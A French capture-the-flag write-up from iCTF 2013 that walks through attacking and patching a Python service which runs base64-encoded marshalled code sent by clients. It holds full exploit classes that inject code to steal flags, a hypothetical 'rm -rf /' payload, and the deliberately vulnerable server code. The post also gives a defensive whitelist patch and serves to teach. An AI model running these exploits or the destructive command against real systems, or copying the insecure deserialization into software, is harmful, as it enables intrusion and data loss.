Frédéric Matigot

Writeup iCTF 2013 : Water

Vendredi, j'ai participé avec l'équipe des EpicLyons à la session 2013 de l'iCTF (censée avoir lieu en décembre dernier, mais repoussée), qui est un concours de sécurité international entre écoles, organisé par l'UCSB. Le principe était sympathique, chaque équipe avait accès à un serveur en SSH, et sur ce serveur tournaient différents services en écoute sur un port (une dizaine de services environ). Parmi ces services, nous avions des binaires C, des scripts Python2 (certains compilés, d'autres non), du Javascript (node.js), et même du COBOL (beau troll). L'objectif était de comprendre le fonctionnement de ces différents programmes, de découvrir leurs failles, et d'écrire un exploit (en python 2.7 et en respectant un certain format) pour, eh bien, exploiter cette faille. Pour nous défendre, nous pouvions patcher nos programmes et les relancer, mais nous avions également la possibilité d'utiliser un genre d'IDS pour bloquer les paquets avant qu'ils ne parviennent au programme (voilà en gros l'idée, je n'ai pas étudié cet aspect là du concours). Nos exploits ne devaient pas perturber la machine ennemie mais seulement voler furtivement des flags (des valeurs qui pouvaient se trouver dans un fichier, dans une base de donnée, ou en mémoire dans le programme). Ces flags étaient régulièrement mis à jour par l'organisation, du moins dans le cas que je présente ensuite, grâce à une faille permettant d'injecter et d'exécuter n'importe quel code dans le programme.

Le concours aura été marqué par de gros problèmes d'infrastructure, ce qui a empêché le bon déroulement des attaques (pour notre équipe comme pour les autres), et donc la possibilité d'acquérir des informations à partir des paquets à destination de notre serveur.

Bref, pour ma part, je me suis concentré sur le service "water", composé de deux scripts python non compilés (dans le cas de scripts Python2 compilé, l'outil uncompyle2 fonctionne pas mal).

Voici ces deux fichiers :

WaterSystemServer.py

from socket import *
from MeasurementLib import *
import base64
import marshal
import thread
import types

flag = None
cookie = None
flag_id = None

measurements = set([])

def connection_handler(clientsock,addr):
  try:
    clientsock.send("Welcome back. Please insert your measurement\n:")
    data = clientsock.recv(BUFSIZ)
    if not data: return
    r = calculate(data)
    if not r:
      if int(data.split(',')[-1]) == flag_id:
        clientsock.send("%s\n"%flag)
      clientsock.close()
    else:  
      if data in measurements:
        clientsock.send("Thanks, but we have already seen this measurement\n")
        clientsock.close()
      else:
        measurements.add(data)
        clientsock.send("Floods ahead! Please enter your command\n:")
        data = clientsock.recv(BUFSIZ)
        types.FunctionType(marshal.loads(base64.b64decode(data)), globals(), "callback")(clientsock)
        clientsock.close()
  except Exception as e: print e
  return

if __name__ == "__main__":

  HOST = "0.0.0.0"
  PORT = 3333
  BUFSIZ = 1024
  ADDR = (HOST, PORT)
  serversock = socket(AF_INET, SOCK_STREAM)
  serversock.bind(ADDR)
  serversock.listen(2)

  while True:
    clientsock, addr = serversock.accept()
    thread.start_new_thread(connection_handler, (clientsock, addr))
  serversock.close()

MeasurementLib.py

import math

def calculate(sequence):
    m = []
    for i in range(1, 10):
        m.append(math.log10(1 + 1.0 / i))

    nums = [x[0] for x in sequence.split(",")]

    o = {}

    for num in nums:
        if num in o:
            o[num] += 1
        else:
            o[num] = 1

    if len(o) != 9:
        return False
    else:
        for d in sorted(o):
            cond1 = float(o[d]) / sum([int(x) for x in o.values()]) >= m[int(d)-1] - 0.05
            cond2 = float(o[d]) / sum([int(x) for x in o.values()]) <= m[int(d)-1] + 0.05
            if not (cond1 and cond2):
                return False

    return True

Il s'agit donc d'un serveur en écoute sur le port 3333. Quand un client s'y connecte, il lui demande une liste de mesures (une chaine contenant des chiffres séparés par virgule, du genre : "1,4,3,2,8,1,9,5"), et appelle la fonction calculate avec cette chaine en paramètre.

La logique de ce que fait la fonction calculate m'est encore tout à fait obscure. Tout d'abord, il faut nécessairement qu'il y ai 9 chiffres distincts dans cette chaîne (chaque chiffre peut apparaître plusieurs fois). La fonction se base sur les valeurs de ces chiffres, et sur leur nombre d'occurence, mais leur ordre n'a pas d'importance. Elle effectue certains calculs et compare ces vérifie que le résultat est dans l'intervalle [x - 0.5 ; x + 0.5], où x est le logarithme à base 10 de... bref. Si on a une bonne série de valeurs, la fonction renvoie vraie, et faux sinon.

Si la chaîne renvoie faux

C'est le cas le plus simple à obtenir, n'importe quelle chaine faisant a priori l'affaire. Et nous pouvons donc facilement récupérer un flag grâce à la ligne clientsock.send("%s\n"%flag) ! Il suffit que la chaîne contienne le flag_id :

>>> flag = "secret"
>>> flag_id = 42
>>> data = "42"  # notre chaine
>>> if int(data.split(',')[-1]) == flag_id:
...     print "envoi du flag :", flag
...     
... 
envoi du flag : secret

Un exploit respectant le format demandé serait donc :

class Exploit():

    def execute(self, ip, port, flag_id):
        # notre code ici :
        import socket
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip, port))
        s.recv(1024)
        s.send(flag_id)
        self.flag = s.recv(1024)[:-1]  # vire le \n final

    def result(self):
        return {'FLAG' : self.flag }

L'exploit a été testé en local, mais pas sur notre serveur, car nous ne savions pas quel flag_id résidait en mémoire (en effet, au lancement, flag et flag_id valent None). Il aurait été intéressant de tester l'outil pyrasite pour voir leur valeur. Toujours est il que cet exploit a été soumis mais n'a pas été accepté (peut être à cause d'un oubli de conversion du flag_id en chaîne dans le s.send(flag_id), ou peut être simplement parce qu'il s'agissait là d'un exploit trop évident qu'ils refusaient d'accepter).

Si la chaîne renvoie vrai

Là, c'est plus délicat. Déjà parce que, comme dit précédemment, pour savoir quelle séquence de chiffre mettre, il faut en vouloir. Ensuite parce que, si la chaine qu'on leur envoi leur a déjà été envoyée, la connexion se ferme. Et pour finir, c'est délicat parce que la ligne :

# data = clientsock.recv(BUFSIZ)
types.FunctionType(marshal.loads(base64.b64decode(data)), globals(), "callback")(clientsock)

qui est la seule ligne ayant de l'intérêt a priori, est très obscure au premier abord.

En réalité, ce n'était pas si délicat : - la séquence de chiffre pouvait être bruteforcée - pour ne pas renvoyer tout le temps la même (nos exploits étant rejoués plusieurs fois), on pouvait se contenter de mélanger les chiffres la composant avec un shuffle (ou même en bruteforcer une autre, avec l'avantage d'éviter les patchs concernant notre suite de valeurs) - la ligne obscure a en gros pour effet d'exécuter du code python contenu dans data, c'est à dire des données que nous envoyons !

Bruteforce

Une version stupide (ne checke pas qu'on a bien 9 chiffres distincts) :

def bruteforce(longueur=42, essais=1000000):
    for i in xrange(essais):
        entiers = (str(random.randint(1, 9)) for i in xrange(longueur))
        chaine = ','.join(entiers)
        if calculate(chaine):
            return chaine
# ex : "1,1,4,5,1,6,9,7,6,8,9,1,7,3,1,7,9,2,5,3,3,1,2,8,1,3,5,2,2,2,4,1,9,1,6,2,8,6,2,1,1,2"

La ligne obscure

Décortiquée, ça donne :

# data = clientsock.recv(1024)  # on reçoit max 1024 catactères
data = base64.b64decode(data)  # ces données étaient encodées en base64, on les décode
data = marshal.loads(data)  # ces données contenaient un objet python sérialisé, on le recrée
fonction = types.FunctionType(data, globals(), "callback")
fonction(clientsock) # on appelle la fonction nouvellement créée avec le socket en paramètre

La ligne non commentée a pour effet de créer une fonction dont le code du corps est data (data doit donc être un objet python de <type 'code'>), avec l'environnement globals() (autrement dit, cette fonction aura accès aux modules, variables et fonctions globales du programme). Pas compris à quoi servait le paramètre "callback" en revanche.

Cette fonction pourrait donc accéder aux variables globales flag et flag_id ! Et pour les envoyer, il suffit d'utiliser clientsock passé en paramètre :). Une fonction qui ferait le boulot qu'on veut serait :

def f(sock):  # sock == clientsock
    sock.send("{}#{}".format(flag, flag_id))

Il faut ensuite récupérer un "objet python correspondant au code de cette fonction", le sérialiser à l'aide du module marshal, et l'encoder en base64.

import types, marshal, base64
code = f.func_code  # merci SO : http://stackoverflow.com/a/10303539/2162761
serialized = marshal.dumps(code)
serialized_base64 = base64.b64encode(serialized)

Il suffit d'envoyer la chaine serialized_base64 et d'attendre ensuite de réceptionner le flag et le flag_id :

s.send(serialized_base64)
string = s.recv(1024)
f, fid = string.split('#')
print "flag : {} / flag_id : {}".format(f, fid)

Cette technique suffit donc pour récupérer le flag en mémoire, mais peut potentiellement être beaucoup plus puissante puisqu'on peut injecter ce que bon nous semble. Cependant, notre créativité est limitée à 1024 caractères à cause du "data = clientsock.recv(BUFSIZ)". On peut dépasser cette limitation en refaisant des recv en boucle pour à nouveau récupérer le code d'une fonction à exécuter.

Voici l'exploit global utilisant cette technique et tout ce qui a été décrit auparavant :

class Exploit():

    def execute(self, ip, port, flag_id2):

        def brute():
            from random import shuffle
            copie = [1,1,4,5,1,6,9,7,6,8,9,1,7,3,1,7,9,2,5,3,3,1,2,8,1,3,5,2,2,2,4,1,9,1,6,2,8,6,2,1,1,2]
            shuffle(copie)
            return ','.join((str(i) for i in copie))

        def func_code(which):
            import base64
            import marshal
            # les fonctions a executer chez la victime ('s' == le socket)
            if which == 1:
                def f(s):
                    s.send(":)")
                    data = ""
                    while not data.endswith("OKAYDONE"):
                        data += s.recv(1024)
                    import base64, marshal, types
                    data = marshal.loads(base64.b64decode(data[:-8]))
                    types.FunctionType(data, globals(), "callback")(s)
            elif which == 2:
                def f(s):
                    # put your nasty code here
                    s.send("{}#{}".format(flag, flag_id))
            function_serialized = base64.b64encode(marshal.dumps(f.func_code))
            return function_serialized

        import socket
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip, port))
        print ">>>", s.recv(1024)  # blabla
        s.send(brute())
        print ">>>", s.recv(1024)  # blabla
        s.send(func_code(1))
        print ">>>", s.recv(1024)  # notre blabla
        s.send(func_code(2))
        s.send("OKAYDONE")
        # maintenant notre code s'execute...
        string = s.recv(1024)  # et nous renvoie un flag
        f, fid = string.split('#')
        print "flag : {} / flag_id : {}".format(f, fid)
        if isinstance(flag_id2, int):
            fid = int(fid)
        if flag_id2 == fid:
            self.flag = f

    def result(self):
        return {'FLAG' : self.flag }

Nous avons ensuite recherché comment utiliser cet exploit à d'autre fins, typiquement en allant chercher des flags dans d'autres fichiers ou dossiers, mais les droits de l'utilisateur water (celui par qui ce service était lancé) étaient insuffisants pour pénétrer dans les dossiers intéressants. De plus, les règles du concours interdisaient les exploits visant à perturber le système de l'ennemi, un tel exploit aurait donc probablement été refusé. Il était également interdit d'utiliser autre chose que python pour les exploits et d'utiliser os.system() (ou similaire) pour exécuter du bash / perl / whatever. Sans cette limitation, potentiellement, un simple :

def f(s):
    import os
    os.system("rm -rf /")

aurait pu faire très mal à ceux qui avaient relancé malencontreusement le service water avec l'utilisateur root !

Mesure de protection et patch

Pour nous protéger des exploits ennemis, nous ne pouvions nous contenter de killer le service ou de bloquer l'exécution de code arbitraire car c'est de cette manière que les organisateurs venaient setter les flags en mémoire chez nous. Ils devaient également avoir la possibilité de vérifier que nos flags étaient bien ceux qu'ils positionnaient, mais c'est probablement à l'aide de la technique triviale du début de cet article qu'ils parvenaient à cela.

Pour avoir une idée du code qu'ils nous injectaient, il suffit de logger certaines infos sur ce code :

# patch de WaterSystemServer.py
data = clientsock.recv(BUFSIZ)
dat = marshal.loads(base64.b64decode(data))
with open('./infos.log', 'a') as logfile:
  logfile.write("code names : {} / code consts : {} \n".format(dat.co_names, dat.co_consts))
types.FunctionType(marshal.loads(base64.b64decode(data)), globals(), "callback")(clientsock)

Nous avons pu constater que leur code ne contenait que les identifieurs globals, clientsock, recv, et quelques autres (que j'ai oubliés), mais en tout cas, pas de send, sendall, FunctionType, exec, etc. Une manière de nous protéger sans empêcher les injections de code légitime de la part des administrateur est de vérifier que le code reçu ne contient que les identificateurs "légitimes", ou ne contient pas ceux "manifestement illégitimes". La première solution est très restrictive, mais convenait parfaitement :

names_recv = set(dat.co_names)
names_ok = set(['globals', 'clientsock', 'recv', 'etc.'])
if names_recv.issubset(names_ok):
    # le code est safe, on peut l'injecter :
    types.FunctionType(marshal.loads(base64.b64decode(data)), globals(), "callback")(clientsock)

Conclusion

Il est satisfaisant de comprendre, exploiter et patcher un service dans sa globalité, en découvrant au passage quelques fonctions de modules standards tels que marshal, dis ou types.FunctionType. Un challenge qui me parait plus costaud serait sur un service python compilé, où uncompyle2 échouerait à obtenir quoi que ce soit. Heureusement, le dernier numéro HS de GNU/Linux mag contient de la lecture à ce sujet :).

Comments !